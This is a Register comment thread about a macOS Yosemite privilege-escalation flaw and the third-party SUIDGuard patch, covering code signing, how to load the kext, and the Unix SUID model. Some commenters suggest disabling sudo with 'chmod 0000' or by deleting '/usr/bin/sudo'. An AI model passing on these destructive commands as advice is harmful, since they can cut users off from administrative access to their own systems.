    Meaning I have to open up another hole (allowing unsigned kexts) to patch this one... way to go Apple!

    PATCH YOSEMITE DAMNIT!!!

    1. NeXTguy

      Re: SUIDGuard...

      It's the binaries that are signed, which means that the signing happens after compilation. So, if you download source code that source code is not signed.

      You also need a private key to sign a binary. Sektioneins have their private key and use that to sign the binaries they publish. They don't give you their private key.

      If you want to compile anything yourself and sign it, you have to have your own signing keys. You get them by joining the Apple Developer programme.

      1. Anonymous Coward
        Pint

        Re: SUIDGuard...

        Just seen Sektioneins updated their blog post with a re-written autoloader version as a 'pkg' file.

        I know about having to join the ADP to sign my own code, but I'm not paying Apple to fix a broken system, either by putting El Capitan on my only Mac OS system or for signing the code I need. I don't develop professionally for OS X or iOS so the Developer Program is a waste of time and money for me IMHO.

        Props to Sektioneins for doing Apple's job for them though.

  15. JEDIDIAH
    Linux

    [Nelson] HA HA [/Nelson]

    This is a great opportunity to laugh at someone else's expense. It's also a good cautionary tale and something else to add to the list of "don't do that again". Hopefully everyone will learn from this and benefit.

  16. Disko
    Joke

    I don't think I need this...

    ...I already have root access to my own machine...and for optimum security I am not connected to the Internet, just my own WiFi. Chew on that, hackers!

  17. tempemeaty

    Apple it's all about their attitude...an impractical one

    The lessen I've learned from Apple is that if you can't order your Mac with the RAM option maxed out then you shouldn't order one at all. Over the life time of the machine you are going to be forced to upgraded the OS versions many many times to keep security.

    You also need to have the money to re-purchase your third part software repeatedly to stay compatible.

    If you can't do these things. If they are impractical for you(sometimes it's not just money). Then it's best to not buy a Mac at all.

  18. dbtx Bronze badge

    chmod 0000 `which sudo`

    FTFY

    Then you just enter a root shell with "su -" and (gasp) type root's password when you need to do something, and the pretty # is there to remind you that the safety's off.

    (P.S. to be honest, I "sudo -i" all the time like a proper hypocrite, but then I'm not using any Apple nonsense. I might have a copy of OS9 but that particular iMac doesn't turn on)

    1. Vic

      Re: chmod 0000 `which sudo`

      FTFY

      You didn't.

      If you don't want to use sudo, use "/bin/rm /usr/bin/sudo". That means the binary is gone, not just disguised.

      You could also do something like "rpm -e sudo".

      Vic.

      1. dbtx Bronze badge

        Re: chmod 0000 `which sudo`

        RPM, on a Mac? The purpose was not to disguise but to quickly and temporarily disable it on OSX. Of course, I am just assuming /usr/bin/which is on there as well. That was for lazy people. Naturally it would be best to know and specifically target the right binary, so nobody could have masked it by dropping an executable dummy "sudo" in an earlier PATH... I'll give you that.

  19. Anonymous Coward
    Anonymous Coward

    to me it sounds like

    The enviroment variable is used to redirect print output to a file and the problem comes in because the process using the variable has its got root access or the sudousers file is write enabled for non-root accounts.

    So the solution to retain security is to prevent modification of security files via sudo, personally I never liked sudo anyway and it was always easy enough to open a root shell. Even keeping sudo they could just move the print to file into userland

    Making things easier by usurping your security is Microsoft's mindset and disease like this really shouldnt cross the species barrier, time for Apple devs to get their heads straight

  20. outer

    Doing the Thang

    Once you get his signed kext Bandaid, then you need to figure out how to make it load.

    1st, after copying it into /System/Library/Extensions, you need to get the file ownership & permissions right, and strip off all the Apple Quarantine attributes.

    2nd, you need to craft & install a /Library/LaunchDaemons plist file as a sparkplug to fire it up.

    It works, but maybe not for the casual or feint of heart user. He might have made it easier,

    but hey, he has to earn a living too, and if you don't know what you're doing by this point

    you probably should not be doing this.

    __outer

    1. Anonymous Coward
      Thumb Up

      Re: Doing the Thang

      He has made it easier with an autoloading package now. It works. Remember to reboot your system though.

      Agree fully that if you aren't comfortable with the shell and the internals of your OS then you should not be compiling it from source.

      1. outer

        Re: Doing the Thang

        Remember to contribute to his welfare.

  21. outer

    Maybe remember to contribute to his welfare?

  22. Anonymous Coward
    Anonymous Coward

    Excellent editing! :)

  23. Henry Wertz 1 Gold badge

    "Because of SUID, the *nix security model is not a security boundary. A security boundary guarantees that every access is checked against an access policy or permission set. By design, the *nix model is that if you are root you bypass all security checks."

    True

    "It is a deliberate hole, drilled in the model out of necessity since the model is otherwise not capable of expression necessary permissions in modern environments."

    Well, modern unixes do have numerous groups for things like audio, scanner (if you have a scanner connected), and so on, members of a group can access a resource and otherwise you can't. This allows more granular access than "user" or "root", but nevertheless it's true root is used quite a bit.

POST COMMENT House rules

Not a member of The Register? Create a new account here.

  • Enter your comment

  • Add an icon

Anonymous cowards cannot choose their icon

Biting the hand that feeds IT © 1998–2019